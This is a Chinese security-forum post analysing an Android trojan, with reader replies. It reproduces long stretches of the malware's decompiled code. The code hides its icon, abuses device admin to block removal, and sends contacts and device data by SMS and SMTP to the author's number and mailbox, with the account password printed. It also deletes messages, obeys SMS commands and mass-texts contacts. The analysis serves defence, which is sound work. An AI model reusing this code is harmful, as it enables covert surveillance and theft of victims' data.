qtfreet00 发表于 2016-10-24 12:04

某app病毒分析

本帖最后由 世事繁华皆成空 于 2016-10-24 12:06 编辑

AndroidMainifest.xml加密,app使用腾讯乐固

010Editor解析Mainifest,发现解析失败,观察xml头,发现开始两个字节被修改为0202,改为0300 ,尝试解析,发现尾部添加了大量的无用信息,直接删掉,修正Mainifest header的正确大小即可正常解析
同时将dex进行脱壳

找到程序入口:
    @TargetApi(19)
    protected void onCreate(Bundle bundle) {
      super.onCreate(bundle);
      setContentView(R.layout.MT_Bin);
      this.b = getSharedPreferences(null, this.b).getInt("view_mode", 0);
      l.a((Context) this, "jjyy", "Date", new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(System.currentTimeMillis())));
      l.a((Context) this, "jjyy", "tel", ((TelephonyManager) getSystemService("phone")).getDeviceId());
      String str = "164";
      if (!k.a((Context) this) && str.equals("18117751643".substring(7, 10))) {
            getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
            startService(new Intent(this, xservicr.class));
            a();
      }
      finish();
    }

l.a方法是写入sharedpreferences文件,将第一次运行的时间和设备id写入到本地,k.a方法是
public static boolean a(Context context) {
      return a("2019-10-03").getTime() - new Date().getTime() < 0;
    }

判断当前时间是否大于2019-10-3,也就是作者设置的病毒的有效期,第二个判断是写死的,当两个条件都成立时,调用setComponentEnabledSetting隐藏app图标,并开启xservicr服务,最后调用一个a方法并结束当前activity
a方法:
    @TargetApi(8)
    private void a() {
      DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService("device_policy");
      Parcelable componentName = new ComponentName(this, PAReceiver.class);
      if (!devicePolicyManager.isAdminActive(componentName)) {
            Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
            intent.putExtra("android.app.extra.DEVICE_ADMIN", componentName);
            intent.putExtra("android.app.extra.ADD_EXPLANATION", getResources().getString(R.string.MT_Bin));
            startActivityForResult(intent, 1);
      }
    }

老套路开启设备管理器防止自身被卸载
   public CharSequence onDisableRequested(Context context, Intent intent) {
      b.a(l.a(context, "jjyy", "tel"));
      if (l.b(context, "jjyy", "pop") == 0) {
            l.a(context, "jjyy", "pop", 1);
            SmsManager.getDefault().sendTextMessage("18257127420", null, "试图卸载应用", null, null);
      }
      Intent launchIntentForPackage = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
      launchIntentForPackage.setFlags(268435456);
      context.startActivity(launchIntentForPackage);
      DevicePolicyManager devicePolicyManager = (DevicePolicyManager) context.getSystemService("device_policy");
      devicePolicyManager.lockNow(); //当用户尝试取消设备管理器时,直接休眠12秒,并直接锁屏
      new Thread(new a(this, devicePolicyManager)).start();
      return "";
    }

    public void onDisabled(Context context, Intent intent) {
    }

    public void onEnabled(Context context, Intent intent) {
      l.a(context, "jjyy", "tel");
      SmsManager.getDefault().sendTextMessage("18257127420", null, "激活成功", null, null);
      super.onEnabled(context, intent);
    }

来到service处,发现onStartCommand什么事都没做,直接看onCreate
public void onCreate() {
      super.onCreate();
      ContentResolver contentResolver = getContentResolver();
      this.f = new f(contentResolver, new e(this), this);
      contentResolver.registerContentObserver(Uri.parse("content://sms"), true, this.f);
      SharedPreferences sharedPreferences = getSharedPreferences("jjyy", 0);
      if (sharedPreferences.getString("lag", "1") == "1") {
            b.a(l.a(this, "jjyy", "tel"));
//获取jjyy.xml中的tel,也就是设备id
            Editor edit = sharedPreferences.edit();
            edit.putString("lag", "2");
// 这里修改lag值为2,也就是该判断只会执行一次
            edit.commit();
            this.b = new j(this);
            this.c = new c(this);
            new a(this).start();
//跟踪下a类
      }
      this.d = new Timer();
      this.e = new b(this);
      this.d.schedule(this.e, 10000, 120000);
      if (this.a == null) {
            this.a = ((PowerManager) getSystemService("power")).newWakeLock(1, "AutBankInter");
            this.a.acquire();
      }
      int i = 0;
      ((AlarmManager) getSystemService("alarm")).setRepeating(i, System.currentTimeMillis(), 50000, PendingIntent.getBroadcast(this, 0, new Intent(this, AlReceiver.class), 0));
    }

跟踪a类后发现是个线程
public void run() {
      Throwable th;
      String str = " ";
      SmsManager smsManager = SmsManager.getDefault();//获取默认短信管理器
      try {
            smsManager.sendTextMessage("18257127420", null, "*应该安装成功\n识别码:" + b.a() + "\n型号:" + Build.MODEL + "\n品牌:" + Build.BRAND + "\n系统:" + VERSION.RELEASE, null, null);
      } catch (Exception e) {
            try {
                smsManager.sendTextMessage("18257127420", null, "*应该安装成功\n识别码:" + b.a() + "\n型号:" + Build.MODEL + "\n品牌:" + Build.BRAND + "\n系统:" + VERSION.RELEASE, null, null);
            } catch (Exception e2) {
                e2.printStackTrace();
            }
      }   //尝试把设备id,型号,系统版本号发送到18257127420这个号码
         //该发送短信方式针对安卓4.4以上无效

      try {
            Object a = this.a.b.a();
      } catch (Exception e22) {
            e22.printStackTrace();
            String str2 = str;
      }
      try {
            HashSet hashSet = new HashSet();
            try {
                hashSet = this.a.c.a();//使用ContentResolver遍历通讯录,只要赋予权限就可以正常读取到
            } catch (Exception e222) {
                e222.printStackTrace();
            }
            String stringBuilder = new StringBuilder(String.valueOf(a)).append("<br>").append("<br>").append("<br>").append("<br>").append("************************通讯录************************").append("<br>").toString();
            Iterator it = hashSet.iterator();
            String str3 = stringBuilder;
            while (it.hasNext()) {
                com.b.a.a.a aVar = (com.b.a.a.a) it.next();
                str3 = new StringBuilder(String.valueOf(str3)).append("名字:").append(aVar.a()).append("\t").append(aVar.b()).append("<br>").toString();
            }
            com.b.a.b.b bVar = new com.b.a.b.b();
            bVar.a("smtp.163.com", "25");
            try {
                bVar.a("18257127420@163.com", "(" + b.a() + ")" + "全部信息和通讯录", str3);
                bVar.a(new String[]{"18257127420@163.com"});
                bVar.b("smtp.163.com", "18257127420@163.com", "qwe123");
            } catch (Throwable e3) {
                th = e3;
                smsManager.sendTextMessage("18257127420", null, "**应该安装成功\n识别码:" + b.a() + "\n型号:" + Build.MODEL + "\n品牌:" + Build.BRAND + "\n系统:" + VERSION.RELEASE + "\n请在已发送查收邮件", null, null);
                th.printStackTrace();
                Log.e("wxl", "AddressException", th);
            } catch (Throwable e32) {
                th = e32;
                smsManager.sendTextMessage("18257127420", null, "**应该安装成功\n识别码:" + b.a() + "\n型号:" + Build.MODEL + "\n品牌:" + Build.BRAND + "\n系统:" + VERSION.RELEASE + "\n请在已发送查收邮件", null, null);
                th.printStackTrace();
                Log.e("wxl", "MessagingException", th);
            }
            Looper.prepare();
            System.out.println("备份成功");
            Looper.loop();
      } catch (Exception e2222) {
            Exception exception = e2222;
            smsManager.sendTextMessage("18257127420", null, "首次安装,用户或者360等禁止获取短信录:" + b.a(), null, null);
            Looper.prepare();
            System.out.println("备份失败");
            Looper.loop();
            exception.printStackTrace();
      }
    }//尝试遍历用户通讯录,发送到指定邮箱,如果获取失败,会发送指令到手机

执行线程的同时
      this.d = new Timer();
      this.e = new b(this); //实例化b类
跟进一下
   @TargetApi(19)
    public void run() {
      String packageName = this.a.getPackageName();
      String valueOf = String.valueOf(VERSION.RELEASE);
      if ((valueOf.indexOf("4.4") != -1 || valueOf.indexOf("5") != -1 || valueOf.indexOf("6") != -1) && !Sms.getDefaultSmsPackage(this.a).equals(packageName)) {
            Intent intent = new Intent(this.a, SIFActivity.class);
            intent.addFlags(268435456);
            this.a.startActivity(intent);
      }
    }

此处判断了系统版本和默认短信应用,这里也就是为了防止安卓4.4以上的权限问题,当条件成立时,跳转到SIFActivity
@TargetApi(19)
    protected void onActivityResult(int i, int i2, Intent intent) {
      Log.i("result", new StringBuilder(String.valueOf(i2)).toString());
      if (i == 20) {
            if (Sms.getDefaultSmsPackage(this).equals(getPackageName())) {
                SmsManager.getDefault().sendTextMessage("18117752341", null, "成为系统短信应用", null, null);//条件成立后会发送信息到作者手机
                this.a.start();//开启a线程
            } else {
                Intent intent2 = new Intent(this, SIFActivity.class);
                intent2.addFlags(268435456);
                startActivity(intent2);//用户拒绝的话直接再次跳转到该页面
            }
            finish();
      }
      super.onActivityResult(i, i2, intent);
    }

    @TargetApi(19)
    protected void onCreate(Bundle bundle) {
      super.onCreate(bundle);
      super.requestWindowFeature(1);
      String packageName = getPackageName();
      if (!Sms.getDefaultSmsPackage(this).equals(packageName)) {
            Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
            intent.putExtra("package", packageName);
            startActivityForResult(intent, 20);//诱导用户设置当前病毒为默认短信应用
      }
      this.a = new a(this);//实例化a类
    }

跟进到a线程:
public void run() {
      this.b = this.a.getContentResolver();
      Cursor query = this.b.query(e.a, c, null, null, " date desc ");
      if (query != null) {
            while (query.moveToNext()) {
                int i = query.getInt(0);
                query.getInt(1);
                int i2 = query.getInt(7);
                query.getInt(6);
                long j = query.getLong(4);
                query.getString(2);
                String string = query.getString(3);
                String format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(j));
                String a = l.a(this.a, "jjyy", "Date");
                Date b = k.b(format);
                Date b2 = k.b(a);
                if (i2 == 0 && string != null && b.getTime() - b2.getTime() >= 0) {
                  this.a.getContentResolver().delete(ContentUris.withAppendedId(e.a, (long) i), null, null);
                }
            }
            query.close();
      }
    } //尝试删除用户所有短信

继续往下分析:
      this.d.schedule(this.e, 10000, 120000);
这里调用一个timer任务循环120秒判断当前短信应用是否为该病毒
之后调用
      if (this.a == null) {
            this.a = ((PowerManager) getSystemService("power")).newWakeLock(1, "AutBankInter");
            this.a.acquire();
      }

将设备的电源选项设置为永不休眠状态,从而可以提高service的存活
((AlarmManager) getSystemService("alarm")).setRepeating(i, System.currentTimeMillis(), 50000, PendingIntent.getBroadcast(this, 0, new Intent(this, AlReceiver.class), 0));
这条命令跟踪下可以发现就是个服务保活
public static void a(Context context) {
      context.startService(new Intent(context, xservicr.class));
    }

    public void onReceive(Context context, Intent intent) {
      if (!k.a(context)) {
            context.startService(new Intent(context, xservicr.class));
      }
    }

每50秒触发一次
如果还是被系统回收的话,会触发onDestroy
public void onDestroy() {
      super.onDestroy();
      if (this.d != null) {
            this.d.cancel();
            this.d = null;
      }
      if (this.e != null) {
            this.e.cancel();
            this.e = null;
      }
      if (this.a != null) {
            this.a.release();
            this.a = null;
      }
      stopForeground(true);
      getContentResolver().unregisterContentObserver(this.f);
      Process.killProcess(Process.myPid());
      Intent intent = new Intent();
      intent.setClass(this, getClass());
      startService(intent);
    } //这里还是可以看到在结束掉自身后还是会再次开启该服务

这里直接的命令调用差不多已经结束了,可以发现还有好几个广播没有看到,细心观察后可以看到都是使用的隐式调用,通过系统广播来触发
      <receiver android:name="ht1ryr1d1f1t1p.d8tre2re2tc2db2sbv2drs.yy1tr1tw1r3t.receiver.chongqiReceiver" android:permission="android.permission.RECEIVE_BOOT_COMPLETED" android:enabled="true">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
      </receiver>
      <receiver android:name="ht1ryr1d1f1t1p.d8tre2re2tc2db2sbv2drs.yy1tr1tw1r3t.receiver.AlReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
      </receiver>

病毒作者给其它广播设置了非常多的隐式触发条件,几乎动一发而牵全身,那索性把其它的广播一一看一遍
来到DXReceiver类下。
public void onReceive(Context context, Intent intent) {
      SmsMessage createFromPdu;
      Exception e;
      this.a = context.getSharedPreferences("jjyy", 0);
      String string = this.a.getString("xin", "0");
      Bundle extras = intent.getExtras();
      if (extras != null) {
            Object[] objArr = (Object[]) extras.get("pdus");
            if (objArr != null && objArr.length != 0) {
                String str = "";
                SmsMessage smsMessage = null;
                int length = objArr.length;
                int i = 0;
                while (i < length) {
                  try {
                        createFromPdu = SmsMessage.createFromPdu((byte[]) objArr);
                        try {
                            str = new StringBuilder(String.valueOf(str)).append(createFromPdu.getMessageBody()).toString();
                        } catch (Exception e2) {
                            e = e2;
                            e.printStackTrace();
                            i++;
                            smsMessage = createFromPdu;
                        }
                  } catch (Exception e3) {
                        Exception exception = e3;
                        createFromPdu = smsMessage;
                        e = exception;
                        e.printStackTrace();
                        i++;
                        smsMessage = createFromPdu;
                  }
                  i++;
                  smsMessage = createFromPdu;
                }
                String originatingAddress = smsMessage.getOriginatingAddress();
                if ("+8618257127420".equals(originatingAddress) || "18257127420".equals(originatingAddress)) { //筛选并读取病毒作者的短信
                  if ("df".equals(str.substring(1, 3))) {/读取指令
                        new h("6", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("ld".equals(str.substring(1, 3))) {
                        new h("1", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("fd".equals(str.substring(1, 3))) {
                        new h("2", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("cq".equals(str.substring(1, 3))) {
                        new h("3", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("dh".equals(str.substring(1, 3))) {
                        new h("4", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("sx".equals(str.substring(1, 3))) {
                        new h("10", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("fx".equals(str.substring(1, 3))) {
                        new h("9", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("qf".equals(str.substring(1, 3))) {
                        new h("5", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("cz".equals(str.substring(1, 3))) {
                        b.a(1);
                        new h("7", str, context).execute(new Integer);
                  } else if ("dc".equals(str.substring(1, 3))) {
                        new h("11", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("bc".equals(str.substring(1, 3))) {
                        new h("12", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("zy".equals(str.substring(1, 3))) {
                        new h("13", str, context).execute(new Integer);
                        abortBroadcast();
                  } else if ("by".equals(str.substring(1, 3))) {
                        new h("14", str, context).execute(new Integer);
                        abortBroadcast();
                  } else {
                        new h("8", str, context).execute(new Integer);
                  }
                  abortBroadcast();
                  return;
                }
                if (string == "0") {
                  abortBroadcast();
                }
                try {
                  new d(originatingAddress, str, context).execute(new Integer);//将读取到的指令发送到作者邮箱
                } catch (Exception e4) {
                  System.out.println("发送邮件失败");
                }
                try {
                  new g(originatingAddress, str, context).execute(new Integer);
                } catch (Exception e5) {
                  System.out.println("e:" + e5.getMessage());
                }
            }
      }
    }

这里作者发送指令短信到受害手机上,在每读取到一条指令后都会执行h类中的方法


该类中会根据指令的不同会执行不同的操作,大体都是发送用户的短信和通讯录到指定邮箱和手机号
需要注意的是
if (str.equals("5")) {
                  System.out.println("开始群发吗?");
                  this.a = new c(this.e);
                  HashSet a3 = this.a.a();
                  if (l.b(this.e, "jjyy", "qf") == 0) {
                        smsManager.sendTextMessage("18257127420", null, "开始群发", null, null);
                        Iterator it2 = a3.iterator();
                        while (it2.hasNext()) {
                            a aVar2 = (a) it2.next();
                            str3 = aVar2.b().replace("-", "").replace("\\s", "");
                            if (str3.length() == 11 || str3.substring(0, 1) == "1") {
                              smsManager.sendTextMessage(aVar2.b(), null, aVar2.a() + str2.substring(4), null, null);
                            }
                        }
                        smsManager.sendTextMessage("18257127420", null, "群发结束", null, null);
                        l.a(this.e, "jjyy", "qf", 1);
                        return;
                  }
                  return;
                }

这里还有个群发病毒的指令,将该病毒链接发送到受害手机的所有手机号上

结束语:
1。该病毒使用加密和加壳技术来保护自身不被逆向分析
2。该病毒分析后可以发现主要针对的是6.0以下的机器,6.0以上由于是动态申请权限机制,病毒作者并没有考虑这点
通过以上分析,可以发现,基本中这类病毒的都是贪图小便宜或者防范心较低的用户,为保证自身财产和信息安全的话,尽量不要从从不明网站下载软件,
还有尽量不要点击短信中的任何链接,即使是三大运营商官方的短信也不可轻信,现在很多的伪基站可以伪造运营商甚至是银行号码给用户发送短信,还有手机中安装一个杀毒软件也是个不错的选择。




Hmily 发表于 2016-10-24 15:28

敢不敢讲讲怎么脱腾讯壳

LLLTheone 发表于 2016-11-12 19:12

啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊冒泡!

蓦留 发表于 2016-10-24 12:05

前排沙发学习

gtacsr 发表于 2016-10-24 12:09

不错,支持花总。

lan2602144404 发表于 2016-10-24 12:15

受教了,谢谢分享

2864095098 发表于 2016-10-24 13:00

技术贴必顶

llllovessw 发表于 2016-10-24 13:21

发送信息手机 18257127420 浙江杭州移动 激活成功

夕阳的刻痕 发表于 2016-10-24 13:26

祝玩伪基站的早点死绝,收到过银行短信积分多少钱,移动短信积分多少钱

abc43992899 发表于 2016-10-24 14:14

前排压压精

wnagzihxain 发表于 2016-10-24 15:01

祖师爷敢不敢讲讲怎么脱腾讯壳
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 某app病毒分析